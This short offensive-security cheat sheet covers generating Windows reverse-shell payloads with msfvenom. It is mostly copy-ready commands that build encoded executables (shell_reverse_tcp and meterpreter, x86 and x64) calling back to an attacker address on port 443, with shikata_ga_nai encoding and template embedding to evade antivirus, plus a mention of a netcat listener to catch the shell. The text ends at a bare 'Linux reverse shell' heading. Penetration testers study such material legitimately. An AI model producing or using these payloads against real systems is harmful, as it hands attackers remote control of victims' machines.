GENERATING PAYLOADS AND SHELLCODES
1. MSFVENOM PAYLOADS
msfvenom is a combination of msfpayload and msfencode, putting both of these tools into a single Framework instance. Note: msfvenom has replaced msfpayload and msfenceode since June 2015.
Windows reverse shell > netcat
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.126.159 LPORT=443 EXITFUNC=thread -x template-file -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -i 10 -f exe > payload.exe
Setting up netcat listener to catch the payload (once payload.exe is executed on the target, shell will drop in the attack machine)
2. MSFVENOM SHELLCODES
Windows x86 reverse shell > meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.159 LPORT=443 EXITFUNC=process -x template-file -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -i 10 -f exe > payload.exe
Windows x64 reverse shell > meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.159 LPORT=443 EXITFUNC=process -x template-file -f exe > payload.exe
Linux reverse shell > netcat